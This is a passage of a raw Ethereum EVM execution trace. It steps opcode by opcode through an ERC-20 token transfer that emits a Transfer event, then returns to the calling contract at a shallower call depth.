c09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1436,"op":"SWAP2","gas":32898,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x136dbf40ac09b","0x80","0x5a4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1437,"op":"DUP2","gas":32895,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x5a4","0x80","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1438,"op":"MSTORE","gas":32892,"gasCost":9,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x5a4","0x80","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1439,"op":"PUSH1","gas":32883,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x5a4","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1441,"op":"ADD","gas":32880,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x5a4","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1442,"op":"SWAP1","gas":32877,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x5a4","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1443,"op":"JUMP","gas":32874,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x5a4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1444,"op":"JUMPDEST","gas":32866,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1445,"op":"PUSH1","gas":32865,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1447,"op":"MLOAD","gas":32862,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1448,"op":"DUP1","gas":32859,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1449,"op":"SWAP2","gas":32856,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0xa0","0x80","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1450,"op":"SUB","gas":32853,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x80","0x80","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1451,"op":"SWAP1","gas":32850,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1452,"op":"LOG3","gas":32847,"gasCost":1756,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x20","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1453,"op":"POP","gas":31091,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1454,"op":"PUSH1","gas":31089,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1456,"op":"SWAP4","gas":31086,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1457,"op":"SWAP3","gas":31083,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x730"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1458,"op":"POP","gas":31080,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x730","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1459,"op":"POP","gas":31078,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x730","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1460,"op":"POP","gas":31076,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x730","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1461,"op":"JUMP","gas":31074,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x730"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1840,"op":"JUMPDEST","gas":31066,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1841,"op":"SWAP4","gas":31065,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1842,"op":"SWAP3","gas":31062,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x11f"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1843,"op":"POP","gas":31059,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x1","0x11f","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1844,"op":"POP","gas":31057,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x1","0x11f","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1845,"op":"POP","gas":31055,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x1","0x11f","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":1846,"op":"JUMP","gas":31053,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x1","0x11f"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":287,"op":"JUMPDEST","gas":31045,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":288,"op":"PUSH1","gas":31044,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":290,"op":"MLOAD","gas":31041,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x1","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":291,"op":"SWAP1","gas":31038,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x1","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":292,"op":"ISZERO","gas":31035,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":293,"op":"ISZERO","gas":31032,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":294,"op":"DUP2","gas":31029,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":295,"op":"MSTORE","gas":31026,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x1","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"]},{"pc":296,"op":"PUSH1","gas":31023,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":298,"op":"ADD","gas":31020,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":299,"op":"PUSH2","gas":31017,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":302,"op":"JUMP","gas":31014,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0xa0","0xf6"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":246,"op":"JUMPDEST","gas":31006,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":247,"op":"PUSH1","gas":31005,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":249,"op":"MLOAD","gas":31002,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa0","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":250,"op":"DUP1","gas":30999,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":251,"op":"SWAP2","gas":30996,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa0","0x80","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":252,"op":"SUB","gas":30993,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x80","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":253,"op":"SWAP1","gas":30990,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":254,"op":"RETURN","gas":30987,"gasCost":0,"depth":3,"stack":["0xa9059cbb","0x20","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001"]},{"pc":7554,"op":"SWAP3","gas":31956,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db